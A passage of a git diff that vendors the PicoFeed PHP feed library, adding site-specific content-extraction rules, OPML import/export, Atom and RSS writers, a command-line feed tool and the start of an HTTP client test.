+<?php
+return array(
+ 'test_url' => 'http://www.lemonde.fr/societe/article/2013/08/30/boris-boillon-ancien-ambassadeur-de-sarkozy-arrete-avec-350-000-euros-en-liquide_3469109_3224.html',
+ 'body' => array(
+ '//div[@id="articleBody"]',
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lepoint.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lepoint.fr.php
new file mode 100644
index 000000000..27b80e74e
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lepoint.fr.php
@@ -0,0 +1,16 @@
+<?php
+return array(
+ 'test_url' => 'http://www.lepoint.fr/c-est-arrive-aujourd-hui/19-septembre-1783-pour-la-premiere-fois-un-mouton-un-canard-et-un-coq-s-envoient-en-l-air-devant-louis-xvi-18-09-2012-1507704_494.php',
+ 'body' => array(
+ '//article',
+ ),
+ 'strip' => array(
+ '//script',
+ '//style',
+ '//*[contains(@class, "info_article")]',
+ '//*[contains(@class, "fildariane_titre")]',
+ '//*[contains(@class, "entete2_article")]',
+ '//*[contains(@class, "signature_article")]',
+ '//*[contains(@id, "share")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.mac4ever.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.mac4ever.com.php
new file mode 100644
index 000000000..ee91ae9b5
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.mac4ever.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.mac4ever.com/actu/87392_video-quand-steve-jobs-et-bill-gates-jouaient-au-bachelor-avec-le-mac',
+ 'body' => array(
+ '//div[contains(@class, "news-news-content")]',
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.nextinpact.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.nextinpact.com.php
new file mode 100644
index 000000000..fc45ef2a7
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.nextinpact.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.pcinpact.com/news/85954-air-france-ne-vous-demande-plus-deteindre-vos-appareils-electroniques.htm?utm_source=PCi_RSS_Feed&utm_medium=news&utm_campaign=pcinpact',
+ 'body' => array(
+ '//div[contains(@id, "actu_content")]',
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.npr.org.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.npr.org.php
new file mode 100644
index 000000000..f2bc1b6d2
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.npr.org.php
@@ -0,0 +1,15 @@
+<?php
+return array(
+ 'test_url' => 'http://www.npr.org/blogs/thesalt/2013/09/17/223345977/auto-brewery-syndrome-apparently-you-can-make-beer-in-your-gut',
+ 'body' => array(
+ '//div[@id="storytext"]',
+ ),
+ 'strip' => array(
+ '//script',
+ '//style',
+ '//*[@class="bucket img"]',
+ '//*[@class="creditwrap"]',
+ '//*[@class="captionwrap"]',
+ '//*[contains(@class, "enlargebtn")]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.numerama.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.numerama.com.php
new file mode 100644
index 000000000..5149c69ab
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.numerama.com.php
@@ -0,0 +1,10 @@
+<?php
+return array(
+ 'test_url' => 'http://www.numerama.com/magazine/26857-bientot-des-robots-dans-les-cuisines-de-mcdo.html',
+ 'body' => array(
+ '//*[@id="general_content"]/table/tbody/tr/td[1]/div/div/div[6]/h2',
+ '//div[@id="newstext"]',
+ ),
+ 'strip' => array(
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pcinpact.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pcinpact.com.php
new file mode 100644
index 000000000..fc45ef2a7
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pcinpact.com.php
@@ -0,0 +1,9 @@
+<?php
+return array(
+ 'test_url' => 'http://www.pcinpact.com/news/85954-air-france-ne-vous-demande-plus-deteindre-vos-appareils-electroniques.htm?utm_source=PCi_RSS_Feed&utm_medium=news&utm_campaign=pcinpact',
+ 'body' => array(
+ '//div[contains(@id, "actu_content")]',
+ ),
+ 'strip' => array(
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pseudo-sciences.org.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pseudo-sciences.org.php
new file mode 100644
index 000000000..bfb930302
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pseudo-sciences.org.php
@@ -0,0 +1,12 @@
+<?php
+return array(
+ 'test_url' => 'http://www.pseudo-sciences.org/spip.php?article2275',
+ 'body' => array(
+ '//div[@id="art_main"]',
+ ),
+ 'strip' => array(
+ '//div[@id="art_print"]',
+ '//div[@id="art_chapo"]',
+ '//img[@class="puce"]',
+ ),
+);
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.slate.fr.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.slate.fr.php
new file mode 100644
index 000000000..d2dc50068
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.slate.fr.php
@@ -0,0 +1,17 @@
+<?php
+return array(
+ 'test_url' => 'http://www.slate.fr/monde/77034/allemagne-2013-couacs-campagne',
+ 'body' => array(
+ '//div[@class="article_content"]',
+ ),
+ 'strip' => array(
+ '//script',
+ '//style',
+ '//*[@id="slate_associated_bn"]',
+ '//*[@id="ligatus-article"]',
+ '//*[@id="article_sidebar"]',
+ '//div[contains(@id, "reseaux")]',
+ '//*[contains(@class, "smart") or contains(@class, "article_tags") or contains(@class, "article_reactions")]',
+ '//*[contains(@class, "OUTBRAIN") or contains(@class, "related_item") or contains(@class, "share")]',
+ )
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.universfreebox.com.php b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.universfreebox.com.php
new file mode 100644
index 000000000..8679a7bfc
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.universfreebox.com.php
@@ -0,0 +1,11 @@
+<?php
+return array(
+ 'test_url' => 'http://www.universfreebox.com/article/24305/4G-Bouygues-Telecom-lance-une-vente-flash-sur-son-forfait-Sensation-3Go',
+ 'body' => array(
+ '//div[@id="corps_corps"]'
+ ),
+ 'strip' => array(
+ '//*[@id="formulaire"]',
+ '//*[@id="commentaire"]',
+ ),
+); \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Export.php b/vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Export.php
new file mode 100644
index 000000000..4a3b978fa
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Export.php
@@ -0,0 +1,132 @@
+<?php
+
+namespace PicoFeed\Serialization;
+
+use SimpleXMLElement;
+
+/**
+ * OPML export class
+ *
+ * @author Frederic Guillot
+ * @package Serialization
+ */
+class Export
+{
+ /**
+ * List of feeds to exports
+ *
+ * @access private
+ * @var array
+ */
+ private $content = array();
+
+ /**
+ * List of required properties for each feed
+ *
+ * @access private
+ * @var array
+ */
+ private $required_fields = array(
+ 'title',
+ 'site_url',
+ 'feed_url',
+ );
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param array $content List of feeds
+ */
+ public function __construct(array $content)
+ {
+ $this->content = $content;
+ }
+
+ /**
+ * Get the OPML document
+ *
+ * @access public
+ * @return string
+ */
+ public function execute()
+ {
+ $xml = new SimpleXMLElement('<?xml version="1.0" encoding="utf-8"?><opml/>');
+
+ $head = $xml->addChild('head');
+ $head->addChild('title', 'OPML Export');
+
+ $body = $xml->addChild('body');
+
+ foreach ($this->content as $category => $values) {
+
+ if (is_string($category)) {
+ $this->createCategory($body, $category, $values);
+ }
+ else {
+ $this->createEntry($body, $values);
+ }
+ }
+
+ return $xml->asXML();
+ }
+
+ /**
+ * Create a feed entry
+ *
+ * @access public
+ * @param SimpleXMLElement $parent Parent Element
+ * @param array $feed Feed properties
+ */
+ public function createEntry(SimpleXMLElement $parent, array $feed)
+ {
+ $valid = true;
+
+ foreach ($this->required_fields as $field) {
+ if (! isset($feed[$field])) {
+ $valid = false;
+ break;
+ }
+ }
+
+ if ($valid) {
+ $outline = $parent->addChild('outline');
+ $outline->addAttribute('xmlUrl', $feed['feed_url']);
+ $outline->addAttribute('htmlUrl', $feed['site_url']);
+ $outline->addAttribute('title', $feed['title']);
+ $outline->addAttribute('text', $feed['title']);
+ $outline->addAttribute('description', isset($feed['description']) ? $feed['description'] : $feed['title']);
+ $outline->addAttribute('type', 'rss');
+ $outline->addAttribute('version', 'RSS');
+ }
+ }
+
+ /**
+ * Create entries for a feed list
+ *
+ * @access public
+ * @param SimpleXMLElement $parent Parent Element
+ * @param array $feeds Feed list
+ */
+ public function createEntries(SimpleXMLElement $parent, array $feeds)
+ {
+ foreach ($feeds as $feed) {
+ $this->createEntry($parent, $feed);
+ }
+ }
+
+ /**
+ * Create a category entry
+ *
+ * @access public
+ * @param SimpleXMLElement $parent Parent Element
+ * @param string $category Category
+ * @param array $feed Feed properties
+ */
+ public function createCategory(SimpleXMLElement $parent, $category, array $feeds)
+ {
+ $outline = $parent->addChild('outline');
+ $outline->addAttribute('text', $category);
+ $this->createEntries($outline, $feeds);
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Import.php b/vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Import.php
new file mode 100644
index 000000000..8de2d8511
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Import.php
@@ -0,0 +1,172 @@
+<?php
+
+namespace PicoFeed\Serialization;
+
+use SimpleXmlElement;
+use StdClass;
+
+use PicoFeed\Logging\Logging;
+use PicoFeed\Parser\XmlParser;
+
+/**
+ * OPML Import
+ *
+ * @author Frederic Guillot
+ * @package Serialization
+ */
+class Import
+{
+ /**
+ * OPML file content
+ *
+ * @access private
+ * @var string
+ */
+ private $content = '';
+
+ /**
+ * Subscriptions
+ *
+ * @access private
+ * @var array
+ */
+ private $items = array();
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param string $content OPML file content
+ */
+ public function __construct($content)
+ {
+ $this->content = $content;
+ }
+
+ /**
+ * Parse the OPML file
+ *
+ * @access public
+ * @return array|false
+ */
+ public function execute()
+ {
+ Logging::setMessage(get_called_class().': start importation');
+
+ $xml = XmlParser::getSimpleXml(trim($this->content));
+
+ if ($xml === false || $xml->getName() !== 'opml' || ! isset($xml->body)) {
+ Logging::setMessage(get_called_class().': OPML tag not found or malformed XML document');
+ return false;
+ }
+
+ $this->parseEntries($xml->body);
+ Logging::setMessage(get_called_class().': '.count($this->items).' subscriptions found');
+
+ return $this->items;
+ }
+
+ /**
+ * Parse each entries of the subscription list
+ *
+ * @access public
+ * @param SimpleXMLElement $tree XML node
+ */
+ public function parseEntries($tree)
+ {
+ if (isset($tree->outline)) {
+
+ foreach ($tree->outline as $item) {
+
+ if (isset($item->outline)) {
+ $this->parseEntries($item);
+ }
+ else if ((isset($item['text']) || isset($item['title'])) && isset($item['xmlUrl'])) {
+
+ $entry = new StdClass;
+ $entry->category = $this->findCategory($tree);
+ $entry->title = $this->findTitle($item);
+ $entry->feed_url = $this->findFeedUrl($item);
+ $entry->site_url = $this->findSiteUrl($item, $entry);
+ $entry->type = $this->findType($item);
+ $entry->description = $this->findDescription($item, $entry);
+ $this->items[] = $entry;
+ }
+ }
+ }
+ }
+
+ /**
+ * Find category
+ *
+ * @access public
+ * @param SimpleXmlElement $tree XML tree
+ * @return string
+ */
+ public function findCategory(SimpleXmlElement $tree)
+ {
+ return isset($tree['title']) ? (string) $tree['title'] : (string) $tree['text'];
+ }
+
+ /**
+ * Find title
+ *
+ * @access public
+ * @param SimpleXmlElement $item XML tree
+ * @return string
+ */
+ public function findTitle(SimpleXmlElement $item)
+ {
+ return isset($item['title']) ? (string) $item['title'] : (string) $item['text'];
+ }
+
+ /**
+ * Find feed url
+ *
+ * @access public
+ * @param SimpleXmlElement $item XML tree
+ * @return string
+ */
+ public function findFeedUrl(SimpleXmlElement $item)
+ {
+ return (string) $item['xmlUrl'];
+ }
+
+ /**
+ * Find site url
+ *
+ * @access public
+ * @param SimpleXmlElement $item XML tree
+ * @param StdClass $entry Feed entry
+ * @return string
+ */
+ public function findSiteUrl(SimpleXmlElement $item, StdClass $entry)
+ {
+ return isset($item['htmlUrl']) ? (string) $item['htmlUrl'] : $entry->feed_url;
+ }
+
+ /**
+ * Find type
+ *
+ * @access public
+ * @param SimpleXmlElement $item XML tree
+ * @return string
+ */
+ public function findType(SimpleXmlElement $item)
+ {
+ return isset($item['version']) ? (string) $item['version'] : isset($item['type']) ? (string) $item['type'] : 'rss';
+ }
+
+ /**
+ * Find description
+ *
+ * @access public
+ * @param SimpleXmlElement $item XML tree
+ * @param StdClass $entry Feed entry
+ * @return string
+ */
+ public function findDescription(SimpleXmlElement $item, StdClass $entry)
+ {
+ return isset($item['description']) ? (string) $item['description'] : $entry->title;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Atom.php b/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Atom.php
new file mode 100644
index 000000000..a379056b4
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Atom.php
@@ -0,0 +1,220 @@
+<?php
+
+namespace PicoFeed\Syndication;
+
+use DomDocument;
+use DomElement;
+use DomAttr;
+
+/**
+ * Atom writer class
+ *
+ * @author Frederic Guillot
+ * @package Syndication
+ */
+class Atom extends Writer
+{
+ /**
+ * List of required properties for each feed
+ *
+ * @access private
+ * @var array
+ */
+ private $required_feed_properties = array(
+ 'title',
+ 'site_url',
+ 'feed_url',
+ );
+
+ /**
+ * List of required properties for each item
+ *
+ * @access private
+ * @var array
+ */
+ private $required_item_properties = array(
+ 'title',
+ 'url',
+ );
+
+ /**
+ * Get the Atom document
+ *
+ * @access public
+ * @param string $filename Optional filename
+ * @return string
+ */
+ public function execute($filename = '')
+ {
+ $this->checkRequiredProperties($this->required_feed_properties, $this);
+
+ $this->dom = new DomDocument('1.0', 'UTF-8');
+ $this->dom->formatOutput = true;
+
+ // <feed/>
+ $feed = $this->dom->createElement('feed');
+ $feed->setAttributeNodeNS(new DomAttr('xmlns', 'http://www.w3.org/2005/Atom'));
+
+ // <generator/>
+ $generator = $this->dom->createElement('generator', 'PicoFeed');
+ $generator->setAttribute('uri', 'https://github.com/fguillot/picoFeed');
+ $feed->appendChild($generator);
+
+ // <title/>
+ $title = $this->dom->createElement('title');
+ $title->appendChild($this->dom->createTextNode($this->title));
+ $feed->appendChild($title);
+
+ // <id/>
+ $id = $this->dom->createElement('id');
+ $id->appendChild($this->dom->createTextNode($this->site_url));
+ $feed->appendChild($id);
+
+ // <updated/>
+ $this->addUpdated($feed, $this->updated);
+
+ // <link rel="alternate" type="text/html" href="http://example.org/"/>
+ $this->addLink($feed, $this->site_url);
+
+ // <link rel="self" type="application/atom+xml" href="http://example.org/feed.atom"/>
+ $this->addLink($feed, $this->feed_url, 'self', 'application/atom+xml');
+
+ // <author/>
+ if (isset($this->author)) $this->addAuthor($feed, $this->author);
+
+ // <entry/>
+ foreach ($this->items as $item) {
+ $this->checkRequiredProperties($this->required_item_properties, $item);
+ $feed->appendChild($this->createEntry($item));
+ }
+
+ $this->dom->appendChild($feed);
+
+ if ($filename) {
+ $this->dom->save($filename);
+ }
+ else {
+ return $this->dom->saveXML();
+ }
+ }
+
+ /**
+ * Create item entry
+ *
+ * @access public
+ * @param arrray $item Item properties
+ * @return DomElement
+ */
+ public function createEntry(array $item)
+ {
+ $entry = $this->dom->createElement('entry');
+
+ // <title/>
+ $title = $this->dom->createElement('title');
+ $title->appendChild($this->dom->createTextNode($item['title']));
+ $entry->appendChild($title);
+
+ // <id/>
+ $id = $this->dom->createElement('id');
+ $id->appendChild($this->dom->createTextNode(isset($item['id']) ? $item['id'] : $item['url']));
+ $entry->appendChild($id);
+
+ // <updated/>
+ $this->addUpdated($entry, isset($item['updated']) ? $item['updated'] : '');
+
+ // <published/>
+ if (isset($item['published'])) {
+ $entry->appendChild($this->dom->createElement('published', date(DATE_ATOM, $item['published'])));
+ }
+
+ // <link rel="alternate" type="text/html" href="http://example.org/"/>
+ $this->addLink($entry, $item['url']);
+
+ // <summary/>
+ if (isset($item['summary'])) {
+ $summary = $this->dom->createElement('summary');
+ $summary->appendChild($this->dom->createTextNode($item['summary']));
+ $entry->appendChild($summary);
+ }
+
+ // <content/>
+ if (isset($item['content'])) {
+ $content = $this->dom->createElement('content');
+ $content->setAttribute('type', 'html');
+ $content->appendChild($this->dom->createCDATASection($item['content']));
+ $entry->appendChild($content);
+ }
+
+ // <author/>
+ if (isset($item['author'])) {
+ $this->addAuthor($entry, $item['author']);
+ }
+
+ return $entry;
+ }
+
+ /**
+ * Add Link
+ *
+ * @access public
+ * @param DomElement $xml XML node
+ * @param string $url URL
+ * @param string $rel Link rel attribute
+ * @param string $type Link type attribute
+ */
+ public function addLink(DomElement $xml, $url, $rel = 'alternate', $type = 'text/html')
+ {
+ $link = $this->dom->createElement('link');
+ $link->setAttribute('rel', $rel);
+ $link->setAttribute('type', $type);
+ $link->setAttribute('href', $url);
+ $xml->appendChild($link);
+ }
+
+ /**
+ * Add publication date
+ *
+ * @access public
+ * @param DomElement $xml XML node
+ * @param integer $value Timestamp
+ */
+ public function addUpdated(DomElement $xml, $value = 0)
+ {
+ $xml->appendChild($this->dom->createElement(
+ 'updated',
+ date(DATE_ATOM, $value ?: time())
+ ));
+ }
+
+ /**
+ * Add author
+ *
+ * @access public
+ * @param DomElement $xml XML node
+ * @param array $values Author name and email
+ */
+ public function addAuthor(DomElement $xml, array $values)
+ {
+ $author = $this->dom->createElement('author');
+
+ if (isset($values['name'])) {
+ $name = $this->dom->createElement('name');
+ $name->appendChild($this->dom->createTextNode($values['name']));
+ $author->appendChild($name);
+ }
+
+ if (isset($values['email'])) {
+ $email = $this->dom->createElement('email');
+ $email->appendChild($this->dom->createTextNode($values['email']));
+ $author->appendChild($email);
+ }
+
+ if (isset($values['url'])) {
+ $uri = $this->dom->createElement('uri');
+ $uri->appendChild($this->dom->createTextNode($values['url']));
+ $author->appendChild($uri);
+ }
+
+ $xml->appendChild($author);
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Rss20.php b/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Rss20.php
new file mode 100644
index 000000000..efb2dd489
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Rss20.php
@@ -0,0 +1,207 @@
+<?php
+
+namespace PicoFeed\Syndication;
+
+use DomDocument;
+use DomAttr;
+use DomElement;
+
+/**
+ * Rss 2.0 writer class
+ *
+ * @author Frederic Guillot
+ * @package Syndication
+ */
+class Rss20 extends Writer
+{
+ /**
+ * List of required properties for each feed
+ *
+ * @access private
+ * @var array
+ */
+ private $required_feed_properties = array(
+ 'title',
+ 'site_url',
+ 'feed_url',
+ );
+
+ /**
+ * List of required properties for each item
+ *
+ * @access private
+ * @var array
+ */
+ private $required_item_properties = array(
+ 'title',
+ 'url',
+ );
+
+ /**
+ * Get the Rss 2.0 document
+ *
+ * @access public
+ * @param string $filename Optional filename
+ * @return string
+ */
+ public function execute($filename = '')
+ {
+ $this->checkRequiredProperties($this->required_feed_properties, $this);
+
+ $this->dom = new DomDocument('1.0', 'UTF-8');
+ $this->dom->formatOutput = true;
+
+ // <rss/>
+ $rss = $this->dom->createElement('rss');
+ $rss->setAttribute('version', '2.0');
+ $rss->setAttributeNodeNS(new DomAttr('xmlns:content', 'http://purl.org/rss/1.0/modules/content/'));
+ $rss->setAttributeNodeNS(new DomAttr('xmlns:atom', 'http://www.w3.org/2005/Atom'));
+
+ $channel = $this->dom->createElement('channel');
+
+ // <generator/>
+ $generator = $this->dom->createElement('generator', 'PicoFeed (https://github.com/fguillot/picoFeed)');
+ $channel->appendChild($generator);
+
+ // <title/>
+ $title = $this->dom->createElement('title');
+ $title->appendChild($this->dom->createTextNode($this->title));
+ $channel->appendChild($title);
+
+ // <description/>
+ $description = $this->dom->createElement('description');
+ $description->appendChild($this->dom->createTextNode(isset($this->description) ? $this->description : $this->title));
+ $channel->appendChild($description);
+
+ // <pubDate/>
+ $this->addPubDate($channel, $this->updated);
+
+ // <atom:link/>
+ $link = $this->dom->createElement('atom:link');
+ $link->setAttribute('href', $this->feed_url);
+ $link->setAttribute('rel', 'self');
+ $link->setAttribute('type', 'application/rss+xml');
+ $channel->appendChild($link);
+
+ // <link/>
+ $link = $this->dom->createElement('link');
+ $link->appendChild($this->dom->createTextNode($this->site_url));
+ $channel->appendChild($link);
+
+ // <webMaster/>
+ if (isset($this->author)) $this->addAuthor($channel, 'webMaster', $this->author);
+
+ // <item/>
+ foreach ($this->items as $item) {
+ $this->checkRequiredProperties($this->required_item_properties, $item);
+ $channel->appendChild($this->createEntry($item));
+ }
+
+ $rss->appendChild($channel);
+ $this->dom->appendChild($rss);
+
+ if ($filename) {
+ $this->dom->save($filename);
+ }
+ else {
+ return $this->dom->saveXML();
+ }
+ }
+
+ /**
+ * Create item entry
+ *
+ * @access public
+ * @param arrray $item Item properties
+ * @return DomElement
+ */
+ public function createEntry(array $item)
+ {
+ $entry = $this->dom->createElement('item');
+
+ // <title/>
+ $title = $this->dom->createElement('title');
+ $title->appendChild($this->dom->createTextNode($item['title']));
+ $entry->appendChild($title);
+
+ // <link/>
+ $link = $this->dom->createElement('link');
+ $link->appendChild($this->dom->createTextNode($item['url']));
+ $entry->appendChild($link);
+
+ // <guid/>
+ if (isset($item['id'])) {
+ $guid = $this->dom->createElement('guid');
+ $guid->setAttribute('isPermaLink', 'false');
+ $guid->appendChild($this->dom->createTextNode($item['id']));
+ $entry->appendChild($guid);
+ }
+ else {
+ $guid = $this->dom->createElement('guid');
+ $guid->setAttribute('isPermaLink', 'true');
+ $guid->appendChild($this->dom->createTextNode($item['url']));
+ $entry->appendChild($guid);
+ }
+
+ // <pubDate/>
+ $this->addPubDate($entry, isset($item['updated']) ? $item['updated'] : '');
+
+ // <description/>
+ if (isset($item['summary'])) {
+ $description = $this->dom->createElement('description');
+ $description->appendChild($this->dom->createTextNode($item['summary']));
+ $entry->appendChild($description);
+ }
+
+ // <content/>
+ if (isset($item['content'])) {
+ $content = $this->dom->createElement('content:encoded');
+ $content->appendChild($this->dom->createCDATASection($item['content']));
+ $entry->appendChild($content);
+ }
+
+ // <author/>
+ if (isset($item['author'])) {
+ $this->addAuthor($entry, 'author', $item['author']);
+ }
+
+ return $entry;
+ }
+
+ /**
+ * Add publication date
+ *
+ * @access public
+ * @param DomElement $xml XML node
+ * @param integer $value Timestamp
+ */
+ public function addPubDate(DomElement $xml, $value = 0)
+ {
+ $xml->appendChild($this->dom->createElement(
+ 'pubDate',
+ date(DATE_RFC822, $value ?: time())
+ ));
+ }
+
+ /**
+ * Add author
+ *
+ * @access public
+ * @param DomElement $xml XML node
+ * @param string $tag Tag name
+ * @param array $values Author name and email
+ */
+ public function addAuthor(DomElement $xml, $tag, array $values)
+ {
+ $value = '';
+
+ if (isset($values['email'])) $value .= $values['email'];
+ if ($value && isset($values['name'])) $value .= ' ('.$values['name'].')';
+
+ if ($value) {
+ $author = $this->dom->createElement($tag);
+ $author->appendChild($this->dom->createTextNode($value));
+ $xml->appendChild($author);
+ }
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Writer.php b/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Writer.php
new file mode 100644
index 000000000..3b4557dad
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Writer.php
@@ -0,0 +1,97 @@
+<?php
+
+namespace PicoFeed\Syndication;
+
+use RuntimeException;
+
+/**
+ * Base writer class
+ *
+ * @author Frederic Guillot
+ * @package Syndication
+ * @property string $description Feed description
+ */
+abstract class Writer
+{
+ /**
+ * Dom object
+ *
+ * @access protected
+ * @var \DomDocument
+ */
+ protected $dom;
+
+ /**
+ * Items
+ *
+ * @access public
+ * @var array
+ */
+ public $items = array();
+
+ /**
+ * Author
+ *
+ * @access public
+ * @var array
+ */
+ public $author = array();
+
+ /**
+ * Feed URL
+ *
+ * @access public
+ * @var string
+ */
+ public $feed_url = '';
+
+ /**
+ * Website URL
+ *
+ * @access public
+ * @var string
+ */
+ public $site_url = '';
+
+ /**
+ * Feed title
+ *
+ * @access public
+ * @var string
+ */
+ public $title = '';
+
+ /**
+ * Feed modification date (timestamp)
+ *
+ * @access public
+ * @var integer
+ */
+ public $updated = 0;
+
+ /**
+ * Generate the XML document
+ *
+ * @abstract
+ * @access public
+ * @param string $filename Optional filename
+ * @return string
+ */
+ abstract public function execute($filename = '');
+
+ /**
+ * Check required properties to generate the output
+ *
+ * @access public
+ * @param array $properties List of properties
+ * @param mixed $container Object or array container
+ */
+ public function checkRequiredProperties(array $properties, $container)
+ {
+ foreach ($properties as $property) {
+ if ((is_object($container) && ! isset($container->$property)) || (is_array($container) && ! isset($container[$property]))) {
+ throw new RuntimeException('Required property missing: '.$property);
+ }
+ }
+ }
+}
diff --git a/vendor/fguillot/picofeed/phpunit.xml b/vendor/fguillot/picofeed/phpunit.xml
new file mode 100644
index 000000000..806316326
--- /dev/null
+++ b/vendor/fguillot/picofeed/phpunit.xml
@@ -0,0 +1,7 @@
+<phpunit bootstrap="./vendor/autoload.php">
+ <testsuites>
+ <testsuite name="PicoFeed">
+ <directory>tests</directory>
+ </testsuite>
+ </testsuites>
+</phpunit> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/picofeed b/vendor/fguillot/picofeed/picofeed
new file mode 100755
index 000000000..525331197
--- /dev/null
+++ b/vendor/fguillot/picofeed/picofeed
@@ -0,0 +1,109 @@
+#!/usr/bin/env php
+<?php
+
+require_once './vendor/autoload.php';
+
+use PicoFeed\Reader\Reader;
+use PicoFeed\Logging\Logging;
+
+function get_feed($url, $disable_filtering = false)
+{
+ $reader = new Reader;
+ $reader->download($url);
+
+ $parser = $reader->getParser();
+
+ if ($disable_filtering) {
+ $parser->disableContentFiltering();
+ }
+
+ if ($parser !== false) {
+
+ $feed = $parser->execute();
+
+ if ($feed !== false) {
+ return $feed;
+ }
+ }
+
+ return false;
+}
+
+function get_item($feed, $item_id)
+{
+ foreach ($feed->items as $item) {
+ if ($item->getId() === $item_id) {
+ echo $item;
+ echo "============= CONTENT ================\n";
+ echo $item->getContent();
+ echo "\n============= CONTENT ================\n";
+ break;
+ }
+ }
+}
+
+function dump_feed($url)
+{
+ $feed = get_feed($url);
+
+ if ($feed === false) {
+ die("Unable to fetch the feed\n");
+ }
+
+ echo $feed;
+}
+
+function debug_feed($url)
+{
+ get_feed($url);
+ print_r(Logging::getMessages());
+}
+
+function dump_item($url, $item_id)
+{
+ $feed = get_feed($url);
+
+ if ($feed === false) {
+ die("Unable to fetch the feed\n");
+ }
+
+ get_item($feed, $item_id);
+}
+
+function nofilter_item($url, $item_id)
+{
+ $feed = get_feed($url, true);
+
+ if ($feed === false) {
+ die("Unable to fetch the feed\n");
+ }
+
+ get_item($feed, $item_id);
+}
+
+if ($argc === 4) {
+ switch ($argv[1]) {
+ case 'item':
+ dump_item($argv[2], $argv[3]);
+ die;
+ case 'nofilter':
+ nofilter_item($argv[2], $argv[3]);
+ die;
+ }
+}
+else if ($argc === 3) {
+ switch ($argv[1]) {
+ case 'feed':
+ dump_feed($argv[2]);
+ die;
+ case 'debug':
+ debug_feed($argv[2]);
+ die;
+ }
+}
+
+printf("Usage:\n");
+printf("%s feed <feed-url>\n", $argv[0]);
+printf("%s debug <feed-url>\n", $argv[0]);
+printf("%s item <feed-url> <item-id>\n", $argv[0]);
+printf("%s nofilter <feed-url> <item-id>\n", $argv[0]);
diff --git a/vendor/fguillot/picofeed/tests/Client/ClientTest.php b/vendor/fguillot/picofeed/tests/Client/ClientTest.php
new file mode 100644
index 000000000..98a963644
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Client/ClientTest.php
@@ -0,0 +1,83 @@
+<?php
+namespace PicoFeed\Client;
+
+use PHPUnit_Framework_TestCase;
+
+
+class ClientTest extends PHPUnit_Framework_TestCase
+{
+ public function testDownload()
+ {
+ $client = Client::getInstance();
+ $client->setUrl('http://php.net/robots.txt');
+ $client->execute();
+
+ $this->assertTrue($client->isModified());
+ $this->assertNotEmpty($client->getContent());
+ $this->assertNotEmpty($client->getEtag());
+ $this->assertNotEmpty($client->getLastModified());
+ }
+
+
+ public function testCacheEtag()
+ {
+ $client = Client::getInstance();
+ $client->setUrl('http://php.net/robots.txt');
+ $client->execute();
+ $etag = $client->getEtag();
+
+ $client = Client::getInstance();
+ $client->setUrl('http://php.net/robots.txt');
+ $client->setEtag($etag);
+ $client->execute();
+
+ $this->assertFalse($client->isModified());
+ }
+
+
+ public function testCacheLastModified()
+ {
+ $client = Client::getInstance();
+ $client->setUrl('http://miniflux.net/humans.txt');
+ $client->execute();
+ $lastmod = $client->getLastModified();
+
+ $client = Client::getInstance();
